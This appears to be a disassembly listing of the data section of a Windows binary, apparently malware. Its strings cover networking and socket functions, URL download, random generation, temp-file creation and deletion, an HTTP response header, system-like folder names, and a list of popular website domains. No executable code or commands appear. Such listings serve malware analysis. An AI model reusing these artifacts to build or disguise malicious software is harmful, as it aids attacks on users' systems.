dword_9BA3E4	dd 0FFFFFFFFh, 9B5720h,	9B4548h	; DATA XREF: .text:off_9B8CADo
off_9BA3F0	dd offset dword_9B9FB0	; DATA XREF: sub_9B2F1C+5r
off_9BA3F4	dd offset dword_9BAF84	; DATA XREF: sub_9B174C+5r
off_9BA3F8	dd offset loc_9AF858	; DATA XREF: sub_9AB1A0+2B35r
aPerformance	db 'Performance',0      ; DATA XREF: .text:009BA2B8o
off_9BA408	dd offset loc_9B0DB0	; DATA XREF: sub_9B1B20-5EA2r
off_9BA40C	dd offset loc_9B3A50	; DATA XREF: sub_9B4FD0-5E3Br
off_9BA410	dd offset loc_9AEB54	; DATA XREF: sub_9AB1A0+2FA8r
dword_9BA414	dd 66726570h, 746F7073h, 6D6F632Eh ; DATA XREF:	.text:009B9C20o
		db 0
off_9BA421	dd offset aWaitforsingleo ; DATA XREF: sub_9B0930:loc_9AD55Cr
					; "WaitForSingleObject"
off_9BA425	dd offset loc_9AB870	; DATA XREF: sub_9ADCEC-EA0r
		align 4
off_9BA42C	dd offset byte_9B8D28	; DATA XREF: sub_9AF5E4-1CA5r
		dd offset a1_		; "1."
		dd offset byte_9B93A0
dword_9BA438	dd 632E3635h		; DATA XREF: .text:009B9A9Co
		db 6Fh,	6Dh, 0
off_9BA43F	dd offset loc_9B1344	; DATA XREF: sub_9B174C+5Er
off_9BA443	dd offset loc_9B4C94	; DATA XREF: sub_9B3D1C+47r
		align 4
aApplicationVnd	db ', application/vnd.ms-xpsdocument',0 ; DATA XREF: .text:009B9060o
off_9BA469	dd offset loc_9B07C8	; DATA XREF: sub_9B562C-4B20r
		align 10h
dword_9BA470	dd 6F736F73h, 6D6F632Eh, 0 ; DATA XREF:	.text:009B9C54o
dword_9BA47C	dd 0FFFFFFFFh, 9B4074h,	9AE4C4h	; DATA XREF: .text:off_9BAB94o
off_9BA488	dd offset loc_9AF780	; DATA XREF: sub_9B1A08+386Cr
off_9BA48C	dd offset dword_9B8E6C	; DATA XREF: sub_9B63D8-14DAr
		dd offset dword_9BB014
		dd offset dword_9BA998
		dd offset dword_9B9474
		dd offset dword_9B8880
		dd offset dword_9BA8F8
		dd offset dword_9BA8F8
		dd offset dword_9BA8F8
		dd offset dword_9BA8F8
		dd offset dword_9BA8F8
aCalendar	db 'Calendar',0         ; DATA XREF: .text:009BA1F0o
		align 10h
aTemp		db 'Temp',0             ; DATA XREF: .text:009BA314o
off_9BA4C5	dd offset loc_9B11B4	; DATA XREF: sub_9B1A08-133Ar
		align 4
aSecurity_0	db 'Security',0         ; DATA XREF: .text:009BA2F4o
off_9BA4D5	dd offset loc_9AE9DC	; DATA XREF: sub_9B649C-3B0Dr
off_9BA4D9	dd offset loc_9AB300	; DATA XREF: sub_9B3EFC-3C04r
off_9BA4DD	dd offset loc_9B1450	; DATA XREF: sub_9B3D1C-2518r
off_9BA4E1	dd offset loc_9AD958	; DATA XREF: sub_9B1D80-5919r
		align 4
dword_9BA4E8	dd 0FFFFFFFFh		; DATA XREF: sub_9AC250+C7r
					; .text:009AD39Er ...
		dd 0FFFFFFFFh, 0F0F6BFBBh, 0BB5A5FF3h, 0F3977011h, 0EB67BFBFh
		dd 5F9BFAC8h, 34D88091h, 1E2282DFh, 573402C4h, 0C0000084h
		dd 3000209h, 1600002h, 5000h, 801000C0h, 500040h, 0A1h
		dd 2 dup(1000000h), 22A20h, 80h, 4000000h, 40020000h, 88000000h
		dd 180h, 81000h, 8801900h, 800B81h, 280h, 80002C0h, 0A80000h
		dd 8000h, 100040h, 100000h, 2 dup(0)
		dd 10000008h, 2	dup(0)
		dd 4, 2, 0
		dd 40000h, 3 dup(0)
		dd 410000h, 82000000h, 2 dup(0)
		dd 1, 0Bh dup(0)
		dd 8, 80000000h
off_9BA5E8	dd offset loc_9B5EAC	; DATA XREF: sub_9B0930-5329r
off_9BA5EC	dd offset dword_9B9498	; DATA XREF: sub_9B5480+5r
off_9BA5F0	dd offset loc_9ABD24	; DATA XREF: sub_9AB1A0-3C3r
dword_9BA5F4	dd 54454Eh		; DATA XREF: .text:009BA298o
off_9BA5F8	dd offset loc_9B07A4	; DATA XREF: sub_9ABD30+42D5r
off_9BA5FC	dd offset loc_9B06A4	; DATA XREF: sub_9B1A08-4835r
dword_9BA600	dd 6E65h		; DATA XREF: .text:009BA220o
dword_9BA604	dd 62656D61h, 706A2E61h	; DATA XREF: .text:009B9ABCo
		db 0
off_9BA60D	dd offset loc_9B4530	; DATA XREF: sub_9B04A8-44FDr
off_9BA611	dd offset loc_9AD3DC	; DATA XREF: sub_9B3864+1A63r
off_9BA615	dd offset loc_9B4D94	; DATA XREF: sub_9B63D8-583r
		align 4
dword_9BA61C	dd 3520544Eh		; DATA XREF: .text:009BAD38o
		db 2Eh,	30h, 0
off_9BA623	dd offset dword_9BBF5C	; DATA XREF: sub_9B4610-91BAr
					; sub_9B35A0-6BF5r ...
		align 4
dword_9BA628	dd 65697266h, 7473646Eh, 632E7265h ; DATA XREF:	.text:009B9B58o
		db 6Fh,	6Dh, 0
off_9BA637	dd offset loc_9B6318	; DATA XREF: sub_9ADAC4-2686r
off_9BA63B	dd offset loc_9B5F54	; DATA XREF: sub_9AB1A0+539Dr
		align 10h
dword_9BA640	dd 2E33h		; DATA XREF: .text:009B90C4o
aMicrosoftBaseC	db 'Microsoft Base Cryptographic Provider v1.0',0
					; DATA XREF: .text:off_9B9207o
off_9BA66F	dd offset loc_9ABFB4	; DATA XREF: sub_9ADAC4+52ECr
		align 4
byte_9BA674	db 5Ah,	78h, 0		; DATA XREF: .text:009BA33Co
off_9BA677	dd offset loc_9B19C4	; DATA XREF: sub_9AF030+1BD4r
		align 4
dword_9BA67C	dd 0FFFFFFFFh, 9B062Ch,	9AB51Ch	; DATA XREF: .text:off_9BAD4Co
off_9BA688	dd offset loc_9ACCB4	; DATA XREF: sub_9AB1A0+39C3r
off_9BA68C	dd offset aInterlockedexc ; DATA XREF: sub_9B0930:loc_9B1408r
					; "InterlockedExchange"
off_9BA690	dd offset loc_9ADFBC	; DATA XREF: sub_9B3408+368r
off_9BA694	dd offset loc_9ACAF8	; DATA XREF: sub_9ACEE8+1B38r
off_9BA698	dd offset aRegclosekey	; DATA XREF: sub_9B0930:loc_9B38FCr
					; "RegCloseKey"
off_9BA69C	dd offset dword_9B9E1C	; DATA XREF: sub_9B29B0+5r
aGames		db 'Games',0            ; DATA XREF: .text:009BA234o
		align 4
dword_9BA6A8	dd 0FFFFFFFFh, 9B25D0h,	9B2EFCh	; DATA XREF: .text:off_9B9095o
dword_9BA6B4	dd 0FFFFFFFFh, 9AD8B4h,	9B5BE0h	; DATA XREF: .text:off_9B8FCCo
dword_9BA6C0	dd 0FFFFFFFFh, 9AE208h,	9AECDCh	; DATA XREF: .text:off_9BAFCFo
off_9BA6CC	dd offset dword_9B88E4	; DATA XREF: sub_9ACA48+5r
dword_9BA6D0	dd 676F6F67h, 632E656Ch	; DATA XREF: .text:009B9B68o
		db 6Fh,	6Dh, 0
off_9BA6DB	dd offset loc_9B129C	; DATA XREF: sub_9B5904-1A0Er
off_9BA6DF	dd offset loc_9B296C	; DATA XREF: sub_9ADAC4-1C86r
		align 4
dword_9BA6E4	dd 6E657574h, 632E6974h, 6D6Fh ; DATA XREF: .text:009B9C88o
dword_9BA6F0	dd 67616D69h, 6E657665h, 632E6575h ; DATA XREF:	.text:009B9B84o
		db 6Fh,	6Dh, 0
off_9BA6FF	dd offset loc_9B07FC	; DATA XREF: sub_9B3408-4DBDr
off_9BA703	dd offset loc_9AEEC4	; DATA XREF: sub_9B46CC+Fr
off_9BA707	dd offset loc_9AC7E4	; DATA XREF: sub_9B57B4-22A0r
		align 4
dword_9BA70C	dd 50545448h, 312E312Fh	; DATA XREF: .text:off_9B9645o
		db 20h,	0
off_9BA716	dd offset loc_9B06D4	; DATA XREF: sub_9ABA3C+28D0r
		align 4
dword_9BA71C	dd 69726174h, 2E61676Eh, 74656Eh ; DATA	XREF: .text:009B9C64o
dword_9BA728	dd 6F646162h, 6F632E6Fh, 6Dh ; DATA XREF: .text:009B9ADCo
dword_9BA734	dd 706D74h		; DATA XREF: .text:009BA318o
					; .text:off_9BA865o
a08x04x04x04x08	db '{%08X-%04X-%04X-%04X-%08X%04X}',0 ; DATA XREF: .text:off_9BA861o
		align 4
aApplicationX_0	db ', application/x-ms-application',0 ; DATA XREF: .text:009B9678o
		align 4
aDisney_go_com	db 'disney.go.com',0    ; DATA XREF: .text:009B9B1Co
off_9BA786	dd offset loc_9AFA38	; DATA XREF: sub_9B2118+3Fr
		align 4
dword_9BA78C	dd 6576696Ch, 6D73616Ah, 632E6E69h, 6D6Fh ; DATA XREF: .text:009B9BA8o
dword_9BA79C	dd 4E2E203Bh		; DATA XREF: sub_9AF5E4:loc_9AD704r
dword_9BA7A0	dd 43205445h		; DATA XREF: sub_9AF5E4-1ED7r
dword_9BA7A4	dd 20524Ch		; DATA XREF: sub_9AF5E4-1ECFr
off_9BA7A8	dd offset dword_9BAD04	; DATA XREF: sub_9B4CF4+5r
off_9BA7AC	dd offset loc_9B2368	; DATA XREF: sub_9B0930+1630r
aGettempfilenam	db 'GetTempFileNameA',0 ; DATA XREF: .text:off_9B9E93o
off_9BA7C1	dd offset sub_9B1A08	; DATA XREF: sub_9B4950+58r
					; sub_9B4950+78r
off_9BA7C5	dd offset loc_9AB2B0	; DATA XREF: sub_9B1F68-4167r
off_9BA7C9	dd offset loc_9B1D30	; DATA XREF: sub_9B5228+2Er
off_9BA7CD	dd offset loc_9AB2D8	; DATA XREF: sub_9AC250+7453r
		align 4
dword_9BA7D4	dd 746C756Dh, 796C7069h, 6D6F632Eh ; DATA XREF:	.text:009B9BE0o
		db 0
off_9BA7E1	dd offset loc_9B4B18	; DATA XREF: sub_9B0930-10E8r
		align 4
aCollaboration	db 'Collaboration',0    ; DATA XREF: .text:009BA1F4o
off_9BA7F6	dd offset loc_9B14B8	; DATA XREF: sub_9AF5E4+13FEr
off_9BA7FA	dd offset loc_9ACB34	; DATA XREF: sub_9ABD30+89EBr
off_9BA7FE	dd offset aCryptgenrandom ; DATA XREF: sub_9B0930:loc_9B5EACr
					; "CryptGenRandom"
		align 4
off_9BA804	dd offset a2914		; DATA XREF: sub_9AF960-323r
					; "2914"
		dd offset a3705		; "3705"
		dd offset a4322		; "4322"
		dd offset a4325		; "4325"
		dd offset a04506	; "04506"
		dd offset a21022	; "21022"
		dd offset dword_9B9F28+10h
		dd offset dword_9B9064+8
		dd offset a50727	; "50727"
off_9BA828	dd offset loc_9AD9F8	; DATA XREF: sub_9B3864-86D4r
off_9BA82C	dd offset loc_9B195C	; DATA XREF: sub_9B1D80-32DAr
dword_9BA830	dd 0FFFFFFFFh, 9B0530h,	9B5A28h	; DATA XREF: .text:off_9B8EB4o
off_9BA83C	dd offset loc_9B4AA4	; DATA XREF: sub_9B5904-1108r
off_9BA840	dd offset loc_9ABC84	; DATA XREF: sub_9B4480-61F0r
dword_9BA844	dd 7A6F6375h, 75722Eh	; DATA XREF: .text:009B9C90o
off_9BA84C	dd offset loc_9B3F78	; DATA XREF: sub_9AF030-759r
off_9BA850	dd offset aHtons	; DATA XREF: sub_9B0930:loc_9AFE8Cr
					; "htons"
aJava		db 'Java',0             ; DATA XREF: .text:009BA25Co
off_9BA859	dd offset loc_9ACE18	; DATA XREF: sub_9B3408-2BF9r
off_9BA85D	dd offset loc_9B09B4	; DATA XREF: sub_9B6078-B0A4r
; char *off_9BA861
off_9BA861	dd offset a08x04x04x04x08 ; DATA XREF: sub_9AD3EC+3E6Cr
					; "{%08X-%04X-%04X-%04X-%08X%04X}"
off_9BA865	dd offset dword_9BA734	; DATA XREF: sub_9ABA3C+A2D7r
off_9BA869	dd offset loc_9B3F98	; DATA XREF: sub_9B174C-3FDr
		align 10h
dword_9BA870	dd 0FFFFFFFFh, 9B07B4h,	9B012Ch	; DATA XREF: .text:off_9BAF53o
off_9BA87C	dd offset loc_9B6548	; DATA XREF: sub_9AB040+5D68r
off_9BA880	dd offset aListen	; DATA XREF: sub_9B0930:loc_9AC04Cr
					; "listen"
a_memicmp	db '_memicmp',0         ; DATA XREF: .text:off_9BAED9o
off_9BA88D	dd offset loc_9B0D64	; DATA XREF: sub_9B4950-5A0Ar
off_9BA891	dd offset loc_9B3228	; DATA XREF: sub_9AEDD0+3158r
		align 4
aLeavecriticals	db 'LeaveCriticalSection',0 ; DATA XREF: sub_9B0930:loc_9B000Co
off_9BA8AD	dd offset dword_9B8DC8	; DATA XREF: sub_9B35A0+5r
off_9BA8B1	dd offset loc_9B1CAC	; DATA XREF: sub_9B1F68-215Ar
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: .text:off_9BA698o
off_9BA8C4	dd offset loc_9B1408	; DATA XREF: sub_9B0930-2D4r
aGallery	db 'Gallery',0          ; DATA XREF: .text:009BA230o
off_9BA8D0	dd offset dword_9BF11C	; DATA XREF: .text:009AFBE9r
dword_9BA8D4	dd 0FFFFFFFFh, 9AD6E4h,	9B0C64h	; DATA XREF: .text:off_9B87A8o
off_9BA8E0	dd offset loc_9B036C	; DATA XREF: sub_9B63D8-8491r
dword_9BA8E4	dd 63696C66h, 632E726Bh	; DATA XREF: .text:009B9B4Co
		db 6Fh,	6Dh, 0
off_9BA8EF	dd offset loc_9AEE6C	; DATA XREF: sub_9B0930-2399r
off_9BA8F3	dd offset loc_9AF3D0	; DATA XREF: sub_9B2F1C-D37r
		align 4
dword_9BA8F8	dd 0			; DATA XREF: .text:off_9B88F0o
					; .text:009B88F4o ...
aGetwindowsdire	db 'GetWindowsDirectoryA',0 ; DATA XREF: .text:off_9B97C1o
off_9BA911	dd offset loc_9AD524	; DATA XREF: sub_9B04A8+1A2Br
		align 4
aDefender_0	db 'Defender',0         ; DATA XREF: .text:009BA208o
		align 4
aInterlockedexc	db 'InterlockedExchange',0 ; DATA XREF: .text:off_9BA68Co
off_9BA938	dd offset loc_9B292C	; DATA XREF: sub_9B3408-7670r
off_9BA93C	dd offset loc_9AB9A8	; DATA XREF: sub_9B037C+2Fr
off_9BA940	dd offset loc_9AF1CC	; DATA XREF: sub_9B1D80+BEr
dword_9BA944	dd 7170616Dh, 74736575h, 6D6F632Eh, 0 ;	DATA XREF: .text:009B9BB4o
dword_9BA954	dd 0FFFFFFFFh, 9AF244h,	9ACE8Ch	; DATA XREF: .text:off_9B97BDo
aDistribution	db 'Distribution',0     ; DATA XREF: .text:009BA214o
off_9BA96D	dd offset dword_9BEC14	; DATA XREF: sub_9B46CC-1AABr
off_9BA971	dd offset dword_9BA1B0	; DATA XREF: sub_9B57B4+5r
		align 4
aSpeech		db 'Speech',0           ; DATA XREF: .text:009BA308o
off_9BA97F	dd offset dword_9BEBFC	; DATA XREF: sub_9B174C-60D9r
					; sub_9B1B20-10EBr ...
		align 4
aShell_0	db 'Shell',0            ; DATA XREF: .text:009BA300o
off_9BA98A	dd offset loc_9B1700	; DATA XREF: sub_9B161C-4CC5r
off_9BA98E	dd offset loc_9AB5A4	; DATA XREF: sub_9B63D8-F0Fr
off_9BA992	dd offset dword_9B88BC	; DATA XREF: sub_9AF25C+5r
		align 4
dword_9BA998	dd 2D73652Ch, 713B5355h, 352E303Dh, 0 ;	DATA XREF: .text:009BA494o
dword_9BA9A8	dd 0FFFFFFFFh, 9ACCF8h,	9ADA20h	; DATA XREF: .text:off_9B920Fo
dword_9BA9B4	dd 62656D61h, 6A2E6F6Ch, 70h ; DATA XREF: .text:009B9AC0o
aGlobalalloc	db 'GlobalAlloc',0      ; DATA XREF: .text:off_9B8EA0o
aReference	db 'Reference',0        ; DATA XREF: .text:009BA2DCo
		align 4
dword_9BA9D8	dd 0FFFFFFFFh, 9AEFFCh,	9B5EF4h	; DATA XREF: .text:off_9B96DCo
off_9BA9E4	dd offset dword_9B8C6C	; DATA XREF: sub_9B562C:loc_9B0ADCr
aEntercriticals	db 'EnterCriticalSection',0 ; DATA XREF: .text:off_9B8C20o
off_9BA9FD	dd offset loc_9B5A10	; DATA XREF: sub_9AE860+F05r
off_9BAA01	dd offset loc_9B4088	; DATA XREF: sub_9B63D8-5020r
off_9BAA05	dd offset loc_9B20A0	; DATA XREF: .text:009AE66Er
off_9BAA09	dd offset loc_9B183C	; DATA XREF: sub_9B649C-31F5r
off_9BAA0D	dd offset loc_9B4710	; DATA XREF: sub_9ABD30+A067r
		align 4
dword_9BAA14	dd 0FFFFFFFFh, 9B3B00h,	9B27ECh	; DATA XREF: .text:off_9B9024o
off_9BAA20	dd offset dword_9B9A00	; DATA XREF: sub_9AEBB8+5r
aInitializecrit	db 'InitializeCriticalSection',0 ; DATA XREF: .text:off_9B87A0o
off_9BAA3E	dd offset loc_9B2340	; DATA XREF: sub_9B3EFC-633Er
		align 4
dword_9BAA44	dd 6F676F70h, 6D6F632Eh	; DATA XREF: .text:009B9C28o
		db 0
off_9BAA4D	dd offset sub_9B3E78	; DATA XREF: sub_9B4CF4-4E22r
		align 4
dword_9BAA54	dd 6C707061h, 6F632E65h, 6Dh ; DATA XREF: .text:009B9AC8o
dword_9BAA60	dd 63697263h, 6F666E69h, 6D6F632Eh ; DATA XREF:	.text:009B9B0Co
		db 0
off_9BAA6D	dd offset dword_9BBCF8	; DATA XREF: sub_9AB574+9r
					; sub_9AB574+21r ...
		align 4
dword_9BAA74	dd 79616265h, 2E6F632Eh	; DATA XREF: .text:009B9B28o
		db 75h,	6Bh, 0
off_9BAA7F	dd offset loc_9B21EC	; DATA XREF: sub_9B03E8-4403r
off_9BAA83	dd offset aUrlmon	; DATA XREF: sub_9B0930-4117r
					; "URLMON"
		align 4
aStudiverzeichn	db 'studiverzeichnis.com',0 ; DATA XREF: .text:009B9C5Co
off_9BAA9D	dd offset loc_9AF4FC	; DATA XREF: sub_9AEC20+9Dr
off_9BAAA1	dd offset loc_9B0888	; DATA XREF: sub_9AFC28-4484r
off_9BAAA5	dd offset loc_9AB10C	; DATA XREF: sub_9B327C+14r
off_9BAAA9	dd offset loc_9ADBC4	; DATA XREF: sub_9AF25C-387Dr
		align 10h
dword_9BAAB0	dd 0FFFFFFFFh, 9AF358h,	9AE5B4h	; DATA XREF: .text:off_9B92F8o
dword_9BAABC	dd 454D49h		; DATA XREF: .text:009BA244o
off_9BAAC0	dd offset loc_9AB8CC	; DATA XREF: sub_9AF25C-33E0r
off_9BAAC4	dd offset loc_9B2CB4	; DATA XREF: sub_9B63D8-9AD8r
off_9BAAC8	dd offset loc_9B32B0	; DATA XREF: sub_9B4480-1BBDr
dword_9BAACC	dd 302E35h		; DATA XREF: .text:off_9B9A70o
off_9BAAD0	dd offset loc_9AE76C	; DATA XREF: sub_9B562C-32CCr
off_9BAAD4	dd offset loc_9B137C	; DATA XREF: sub_9AC250+9720r
off_9BAAD8	dd offset dword_9B8C8C	; DATA XREF: sub_9AB7C0+5r
off_9BAADC	dd offset loc_9B1634	; DATA XREF: sub_9AD97C-17E5r
aGlobalization	db 'Globalization',0    ; DATA XREF: .text:009BA238o
		align 10h
aVkontakte_ru	db 'vkontakte.ru',0     ; DATA XREF: .text:009B9C9Co
off_9BAAFD	dd offset loc_9AF6C0	; DATA XREF: sub_9B63D8-1526r
off_9BAB01	dd offset loc_9B0324	; DATA XREF: sub_9ACEE8-180Cr
		align 4
dword_9BAB08	dd 64726F77h, 73657270h, 6F632E73h ; DATA XREF:	.text:009B9CACo
		db 6Dh,	0
off_9BAB16	dd offset loc_9B0CE8	; DATA XREF: sub_9B0930+3F08r
		align 4
aJournal	db 'Journal',0          ; DATA XREF: .text:009BA260o
aRapidshare_c_0	db 'rapidshare.com',0   ; DATA XREF: .text:009B9C34o
		align 4
aMs_0		db 'MS',0               ; DATA XREF: .text:009BA290o
		align 4
aPatch		db 'Patch',0            ; DATA XREF: .text:009BA2B4o
off_9BAB3E	dd offset dword_9B9E2C	; DATA XREF: sub_9B63D8+5r
		align 4
dword_9BAB44	dd 696B6977h, 69646570h, 726F2E61h ; DATA XREF:	.text:009B9CA8o
		db 67h,	0
off_9BAB52	dd offset loc_9B434C	; DATA XREF: sub_9B04A8-3A66r
off_9BAB56	dd offset loc_9B20C8	; DATA XREF: sub_9B5FC0-5E9Cr
off_9BAB5A	dd offset loc_9ABA00	; DATA XREF: sub_9B161C+F0r
		align 10h
aProgram	db 'Program',0          ; DATA XREF: .text:009BA2D4o
off_9BAB68	dd offset aDeletefilea	; DATA XREF: sub_9B0930:loc_9B31F4r
					; "DeleteFileA"
byte_9BAB6C	db 2Fh,	0		; DATA XREF: .text:off_9B9270o
off_9BAB6E	dd offset loc_9AD6D0	; DATA XREF: sub_9B3EFC-5FA1r
		align 4
dword_9BAB74	dd 2E716369h, 6D6F63h	; DATA XREF: .text:009B9B7Co
off_9BAB7C	dd offset aGetmodulefilen ; DATA XREF: sub_9B0930:loc_9AC0ECr
					; "GetModuleFileNameA"
off_9BAB80	dd offset loc_9AE04C	; DATA XREF: sub_9B1F68-51BDr
off_9BAB84	dd offset aGetsockname	; DATA XREF: sub_9B0930:loc_9AC960r
					; "getsockname"
off_9BAB88	dd offset loc_9B6018	; DATA XREF: sub_9AF25C-3645r
off_9BAB8C	dd offset dword_9BADAC	; DATA XREF: sub_9B3618+5r
off_9BAB90	dd offset loc_9B2054	; DATA XREF: sub_9B0930+42C1r
off_9BAB94	dd offset dword_9BA47C	; DATA XREF: sub_9B03E8+5r
off_9BAB98	dd offset loc_9B1CE8	; DATA XREF: sub_9B0930+2FF8r
dword_9BAB9C	dd 0FFFFFFFFh, 9B5BDCh,	9ACDD0h	; DATA XREF: .text:off_9B99BDo
off_9BABA8	dd offset loc_9B5CFC	; DATA XREF: sub_9ABA3C+33CCr
off_9BABAC	dd offset loc_9B2324	; DATA XREF: sub_9ACEE8+1725r
off_9BABB0	dd offset aCryptreleaseco ; DATA XREF: sub_9B0930:loc_9AB5D8r
					; "CryptReleaseContext"
aRegistered	db 'Registered',0       ; DATA XREF: .text:009BA2E0o
off_9BABBF	dd offset loc_9B2558	; DATA XREF: sub_9B4CF4+76Dr
		align 4
dword_9BABC4	dd 0FFFFFFFFh, 9B4250h,	9B5AD0h	; DATA XREF: .text:off_9B8CFBo
dword_9BABD0	dd 0FFFFFFFFh, 9B2928h,	9B42A0h	; DATA XREF: .text:off_9B9481o
dword_9BABDC	dd 352E35h		; DATA XREF: .text:009B9A78o
aListen		db 'listen',0           ; DATA XREF: .text:off_9BA880o
off_9BABE7	dd offset loc_9B5928	; DATA XREF: sub_9AC448+8r
off_9BABEB	dd offset dword_9B8808	; DATA XREF: sub_9B1B20+5r
		align 10h
aPublish	db 'Publish',0          ; DATA XREF: .text:009BA2D8o
aXnxx_com	db 'xnxx.com',0         ; DATA XREF: .text:009B9CB8o
		align 4
aSetfileattribu	db 'SetFileAttributesA',0 ; DATA XREF: .text:off_9B9730o
off_9BAC17	dd offset loc_9B2E90	; DATA XREF: sub_9AD7A4+ECr
		align 4
dword_9BAC1C	dd 686F6576h, 6D6F632Eh	; DATA XREF: .text:009B9C94o
		db 0
off_9BAC25	dd offset sub_9AF5E4	; DATA XREF: sub_9B27D8-746Dr
off_9BAC29	dd offset loc_9AD8D8	; DATA XREF: sub_9B5480-6AD5r
off_9BAC2D	dd offset dword_9BB030	; DATA XREF: sub_9B3864+5r
		align 4
aPrefetch	db 'Prefetch',0         ; DATA XREF: .text:009BA2CCo
		align 10h
aNing_com	db 'ning.com',0         ; DATA XREF: .text:009B9C04o
		align 4
aGetprocaddress	db 'GetProcAddress',0   ; DATA XREF: .text:off_9BA370o
off_9BAC5B	dd offset dword_9B8920	; DATA XREF: sub_9B14CC+5r
off_9BAC5F	dd offset aCreatefilea	; DATA XREF: sub_9B0930:loc_9B2584r
					; "CreateFileA"
off_9BAC63	dd offset loc_9B1ABC	; DATA XREF: sub_9B1F68-2B4r
off_9BAC67	dd offset loc_9AB16C	; DATA XREF: sub_9B3864-441Fr
		align 4
aSoftware	db 'Software',0         ; DATA XREF: .text:009BA304o
off_9BAC75	dd offset loc_9AB768	; DATA XREF: sub_9ACD20+1Cr
off_9BAC79	dd offset loc_9AFAE4	; DATA XREF: sub_9B562C-8175r
		align 10h
aPconline_com_c	db 'pconline.com.cn',0  ; DATA XREF: .text:009B9C18o
off_9BAC90	dd offset loc_9AAE78	; DATA XREF: sub_9B3A74+85r
aSendto_0	db 'sendto',0           ; DATA XREF: .text:off_9BAD44o
		align 4
aD_tmp		db '\%d.tmp',0          ; DATA XREF: .text:off_9B8E51o
off_9BACA4	dd offset dword_9B95D8	; DATA XREF: sub_9B2118+5r
off_9BACA8	dd offset loc_9AE744	; DATA XREF: sub_9B1D80+215Fr
dword_9BACAC	dd 6F647574h, 6F632E75h	; DATA XREF: .text:009B9C84o
		db 6Dh,	0
off_9BACB6	dd offset loc_9B05F8	; DATA XREF: sub_9B6370-4B4Ar
off_9BACBA	dd offset loc_9B3B08	; DATA XREF: .text:009B2ACEr
		align 10h
dword_9BACC0	dd 756B6173h, 6E2E6172h, 706A2E65h, 0 ;	DATA XREF: .text:009B9C40o
dword_9BACD0	dd 0FFFFFFFFh, 9B0C60h,	9B43A8h	; DATA XREF: .text:off_9BA0E0o
off_9BACDC	dd offset loc_9B04C0	; DATA XREF: sub_9B43F4+4Ar
off_9BACE0	dd offset loc_9B2068	; DATA XREF: sub_9B0930+5E2r
off_9BACE4	dd offset loc_9ABC4C	; DATA XREF: sub_9B1B20+99r
off_9BACE8	dd offset loc_9AC220	; DATA XREF: sub_9B1D80-109Fr
off_9BACEC	dd offset dword_9BCB98	; DATA XREF: sub_9ACEE8+40B2r
					; .text:009B117Er
dword_9BACF0	dd 6F746F66h, 2E676F6Ch, 74656Eh ; DATA	XREF: .text:009B9B50o
aGoogle		db 'Google',0           ; DATA XREF: .text:009BA23Co
		align 4
dword_9BAD04	dd 0FFFFFFFFh, 9B4804h,	9B2718h	; DATA XREF: .text:off_9BA7A8o
off_9BAD10	dd offset loc_9B2A28	; DATA XREF: sub_9B63D8-A94r
dword_9BAD14	dd 2E636262h, 752E6F63h, 6Bh ; DATA XREF: .text:009B9AE4o
aUrlmon		db 'URLMON',0           ; DATA XREF: .text:off_9BAA83o
off_9BAD27	dd offset loc_9AFA4C	; DATA XREF: sub_9AD11C-17F4r
		align 4
off_9BAD2C	dd offset byte_9B9370	; DATA XREF: sub_9AB3B0+7190r
		dd offset byte_9B89D0
		dd offset dword_9B9A84
		dd offset dword_9BA61C
		dd offset dword_9B8FEC
		dd offset dword_9B91B8
off_9BAD44	dd offset aSendto_0	; DATA XREF: sub_9B0930:loc_9B4B18r
					; "sendto"
off_9BAD48	dd offset loc_9B594C	; DATA XREF: sub_9AC250+4D1Dr
off_9BAD4C	dd offset dword_9BA67C	; DATA XREF: sub_9ABA3C+5r
aExplorer	db 'Explorer',0         ; DATA XREF: .text:009BA224o
off_9BAD59	dd offset loc_9B2C88	; DATA XREF: sub_9B0930+2E9r
off_9BAD5D	dd offset aRecvfrom	; DATA XREF: sub_9B0930:loc_9AF818r
					; "recvfrom"
		align 4
dword_9BAD64	dd 0FFFFFFFFh, 9B55F0h,	9AEFA0h	; DATA XREF: .text:off_9BA10Bo
off_9BAD70	dd offset aFindfirstfilea ; DATA XREF: sub_9B0930:loc_9B0CE8r
					; "FindFirstFileA"
dword_9BAD74	dd 646E6F63h, 2E746975h, 6D6F63h ; DATA	XREF: .text:009B9B04o
dword_9BAD80	dd 78656E76h, 73657270h, 656E2E73h ; DATA XREF:	.text:009B9CA0o
		db 74h,	0
off_9BAD8E	dd offset dword_9B9964	; DATA XREF: sub_9B1134+5r
off_9BAD92	dd offset dword_9BBCE0	; DATA XREF: sub_9AB1A0:loc_9AAFF0r
					; sub_9AB040+8r ...
		align 4
dword_9BAD98	dd 79616265h, 65642Eh	; DATA XREF: .text:009B9B30o
off_9BADA0	dd offset loc_9B0B54	; DATA XREF: sub_9AF25C+60F0r
off_9BADA4	dd offset loc_9AD454	; DATA XREF: sub_9ADAC4+BFFr
off_9BADA8	dd offset loc_9B4A90	; DATA XREF: sub_9AE860+71C0r
dword_9BADAC	dd 0FFFFFFFFh, 9AFE84h,	9ADF78h	; DATA XREF: .text:off_9BAB8Co
dword_9BADB8	dd 0FFFFFFFFh, 9B3E8Ch,	9AE470h	; DATA XREF: .text:off_9B922Eo
off_9BADC4	dd offset aInet_ntoa	; DATA XREF: sub_9B0930:loc_9AF2CCr
					; "inet_ntoa"
off_9BADC8	dd offset dword_9BEBDC	; DATA XREF: sub_9B36E8-6FA2r
					; sub_9B3A74-6728r ...
off_9BADCC	dd offset loc_9AE508	; DATA XREF: sub_9B0930-2021r
dword_9BADD0	dd 69617263h, 696C7367h, 6F2E7473h, 6772h ; DATA XREF: .text:009B9B08o
dword_9BADE0	dd 0FFFFFFFFh, 9ADF34h,	9B10BCh	; DATA XREF: .text:off_9B94BBo
off_9BADEC	dd offset aGetversionexa ; DATA	XREF: sub_9B0930:loc_9ABF58r
					; "GetVersionExA"
off_9BADF0	dd offset loc_9B42F0	; DATA XREF: sub_9B5904-93AEr
off_9BADF4	dd offset loc_9B028C	; DATA XREF: sub_9ABA3C+96B8r
off_9BADF8	dd offset loc_9AF44C	; DATA XREF: sub_9B0930+28F0r
aGlobalfree	db 'GlobalFree',0       ; DATA XREF: .text:off_9B9220o
		align 4
aVirtualalloc	db 'VirtualAlloc',0     ; DATA XREF: .text:off_9B92F0o
		align 4
aHttp1_0	db 'HTTP/1.0 ',0        ; DATA XREF: .text:off_9B9936o
off_9BAE22	dd offset loc_9AF398	; DATA XREF: sub_9B1A08-3077r
off_9BAE26	dd offset dword_9B8C78	; DATA XREF: sub_9B562C+53r
		align 4
